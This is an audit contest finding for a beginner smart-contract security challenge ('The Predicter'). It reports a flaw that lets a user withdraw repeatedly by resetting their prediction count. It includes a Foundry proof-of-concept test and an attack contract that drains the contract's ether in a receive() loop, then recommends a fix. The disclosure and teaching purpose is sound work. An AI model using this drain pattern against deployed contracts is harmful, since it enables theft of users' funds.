First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-3] Improper timestamp constraints in `ScoreBoard::setPrediction` allows `ThePredictor::withdraw` to be called multiple times

mayhem

Summary

After a user calls ThePredictor::withdraw, the user should receive their ether reward. They should not be able to call withdraw again. The user not being able to call withdraw again is meant to be handled by this external call:

scoreBoard.clearPredictionsCount(msg.sender);

Before funds are distributed to the user ScoreBoard::clearPredictionsCount reduces the player's predictionsCount to 0. In order for a user to be able to call withdraw, they need to pass this check which requires a prediction count > 0:

if (!scoreBoard.isEligibleForReward(msg.sender))

The malicious user is able to bypass this precaution by calling ScoreBoard::setPrediction. After making this call, the user can call withdraw and repeat this process until funds are drained from the contract.

Vulnerability Details

  1. The malicious user has made some predictions and is eligible to receive ether from ThePredicter::withdraw

  2. All users are able to call ThePredicter::withdraw after the organizer has called ScoreBoard::setResult for all matches

  3. After calling withdraw, the malicious user calls ScoreBoard::setPrediction enabling them to call withdraw again

  4. The malicious user can repeat this process and receive ether from the contract until the contract can no longer disburse the withdraw::reward amount

Users are meant to interact with ThePredciter::makePrediction. This function has an important check

if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}

and makes external calls to the ScoreBoard contract:

scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);

The user should only be able to make a prediction for a certain game at a certain time before the game. The user's information is passed on to the ScoreBoard contract

An external call is made to ScoreBoard::setPrediction. This is a public function that the user can call with arbitrary parameters whenever they want. It is meant to be used to update previous predictions without having to pay a predictionFee. This check inside the function does not prevent function execution, it will only skip this particular block of code if time constraints are not met:

if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;

The rest of the function will execute regardless of the above timestamp check:

playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}

Even though ThePredicter::withdraw uses scoreBoard.clearPredictionsCount(msg.sender); to clear the user's predictionsCount, the user can call ScoreBoard::setPrediction with arbitrary parameters to restore their prediction count. With the predctionsCount restored, the user can bypass the initial if (!scoreBoard.isEligibleForReward(msg.sender)) check in ThePredicter::withdraw allowing them to repeat the process as many times as needed to extract the maximum amount from the contract

Proof of Concept (foundry test)

This test can be added to the provided test suite

  1. Three participants enter the protocol

  2. All three participants are eligible to receive 0.04 ether

  3. stranger3 is able to call withdraw multiple times by calling setPrediction after each withdraw call

function test_MultipleWithdrawCalls() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
​
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
​
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
​
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
​
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
​
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
​
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
​
vm.startPrank(stranger3);
thePredicter.withdraw();
scoreBoard.setPrediction(address(stranger3),1,ScoreBoard.Result.First);
thePredicter.withdraw();
scoreBoard.setPrediction(address(stranger3),1,ScoreBoard.Result.First);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger3.balance, 1.0797 ether);
​
assertEq(address(thePredicter).balance, 0 ether);
}
Proof of Concept (attack contract)

The user could also use an attack contract to programmatically exploit the contract as opposed to making manual calls of ScoreBoard::setPrediction

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
enum Result {
Pending,
First,
Draw,
Second
}
​
interface IScoreBoard {
function setPrediction(address, uint256, Result) external;
}
​
interface IThePredicter {
function withdraw() external;
}
​
contract ScoreBoardAttack {
address private immutable owner;
IScoreBoard scoreBoard;
IThePredicter thePredicter;
​
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
​
constructor(address _scoreBoard, address _thePredicter) {
owner = msg.sender;
scoreBoard = IScoreBoard(_scoreBoard);
thePredicter = IThePredicter(_thePredicter);
}
​
function attack() public onlyOwner {
thePredicter.withdraw();
}
​
function withdraw() public onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
​
receive() external payable {
while (address(thePredicter).balance >= 0.01 ether) {
scoreBoard.setPrediction(address(this),1,Result.First);
}
}
}

Impact

This is a high impact vulnerability. While ScoreBoard::setPrediction is meant to be public so users can make adjustments to predictions without paying fees, it lacks the same timestamp check as ThePredicter::withdraw. Because of this inconsistency, users can still call this function when they should not be able to. This allows a user to potentially drain the contract by calling withdraw multiple times.

Tools Used

Manual Review
Foundry

Recommendations

Use a similar if check found in ThePredicter::withdraw with ScoreBoard::setPrediction:

+ if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
+ revert ThePredicter__PredictionsAreClosed();
+ }
- if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Match timestamps are incorrect

In both contracts there is a similar error in the computation of the timestamps of the matches.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.